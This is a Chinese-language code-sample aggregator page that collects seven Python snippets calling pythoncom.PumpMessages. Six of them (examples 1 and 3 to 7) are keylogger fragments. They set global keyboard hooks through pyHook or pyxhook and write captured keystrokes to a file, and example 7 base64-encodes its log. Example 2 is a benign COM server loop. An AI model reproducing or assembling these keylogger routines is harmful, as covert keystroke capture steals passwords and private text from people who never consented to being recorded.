本文整理匯總了Python中pythoncom.PumpMessages方法的典型用法代碼示例。如果您正苦於以下問題:Python pythoncom.PumpMessages方法的具體用法?Python pythoncom.PumpMessages怎麽用?Python pythoncom.PumpMessages使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在類pythoncom
的用法示例。
在下文中一共展示了pythoncom.PumpMessages方法的7個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。
示例1: keylogger
# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpMessages [as 別名]
def keylogger():
if console:
print "* Logging key events... (press enter to escape)"
def OnKeyboardEvent (event):
keys = ""
full_path = os.path.realpath(__file__)
path, file = os.path.split(full_path)
path = path + "\keylogs.txt"
keyfile = open(path, "a")
key = chr(event.Ascii)
if event.Ascii == 13:
key = "\n"
hook.UnhookKeyboard()
if console:
print "* done\n"
main()
keys = keys + key
keyfile.write(keys)
keyfile.close()
hook = pyHook.HookManager()
hook.KeyDown = OnKeyboardEvent
hook.HookKeyboard()
pythoncom.PumpMessages()
示例2: serve
# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpMessages [as 別名]
def serve(clsids):
infos = factory.RegisterClassFactories(clsids)
pythoncom.EnableQuitMessage(win32api.GetCurrentThreadId())
pythoncom.CoResumeClassObjects()
pythoncom.PumpMessages()
factory.RevokeClassFactories( infos )
pythoncom.CoUninitialize()
示例3: keylogger
# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpMessages [as 別名]
def keylogger(self):
obj = pyHook.HookManager()
obj.KeyDown = self.keydown
obj.HookKeyboard()
obj.HookMouse()
pythoncom.PumpMessages()
示例4: _run_windows
# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpMessages [as 別名]
def _run_windows():
global abort
while True:
hm = hook_manager.HookManager()
hm.KeyDown = _event
hm.HookKeyboard()
pythoncom.PumpMessages()
if abort:
break
示例5: keyit
# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpMessages [as 別名]
def keyit(self):
self.hm = pyHook.HookManager()
self.hm.KeyDown = self.OnKeyBoardEvent
self.hm.HookKeyboard()
pythoncom.PumpMessages()
示例6: hookslaunch
# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpMessages [as 別名]
def hookslaunch():
print '[*] Starting keylogger'
a = Keylogger()
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = a.OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
示例7: keylogger
# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpMessages [as 別名]
def keylogger(fd_temp_key: int):
"""Key logger thread.\n"""
def OnKeyboardEvent(event):
""""Define action triggered when a key is pressed.\n"""
if not thr_block.isSet():
if event.Ascii != 0 or 8:
# Use base64 and not an encryption just for performance
with open(keylogfile, 'r+b') as f_key:
data_decoded = b64decode(f_key.read()).decode('utf-8')
f_key.seek(0)
if event.Key == 'space':
data_decoded += ' '
f_key.write(b64encode(data_decoded.encode('utf-8')))
elif event.Key == 'BackSpace':
data_decoded += '[BackSpace]'
f_key.write(b64encode(data_decoded.encode('utf-8')))
elif event.Key == 'Return':
data_decoded += '[Enter]'
f_key.write(b64encode(data_decoded.encode('utf-8')))
elif event.Key == 'Shift_L':
data_decoded += '[Shift_L]'
f_key.write(b64encode(data_decoded.encode('utf-8')))
elif event.Key == 'Shift_R':
data_decoded += '[Shift_R]'
f_key.write(b64encode(data_decoded.encode('utf-8')))
elif event.Key == 'Tab':
data_decoded += '[Tab]'
f_key.write(b64encode(data_decoded.encode('utf-8')))
else:
data_decoded += event.Key
f_key.write(b64encode(data_decoded.encode('utf-8')))
if thr_exit.isSet():
os.close(fd_temp_key)
hm.cancel()
return True
# create a hook manager
if platform == 'windows':
hm = pyHook.HookManager()
else:
hm = pyxhook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
if platform == 'windows':
pythoncom.PumpMessages()
else:
hm.start()
# =================================================================================================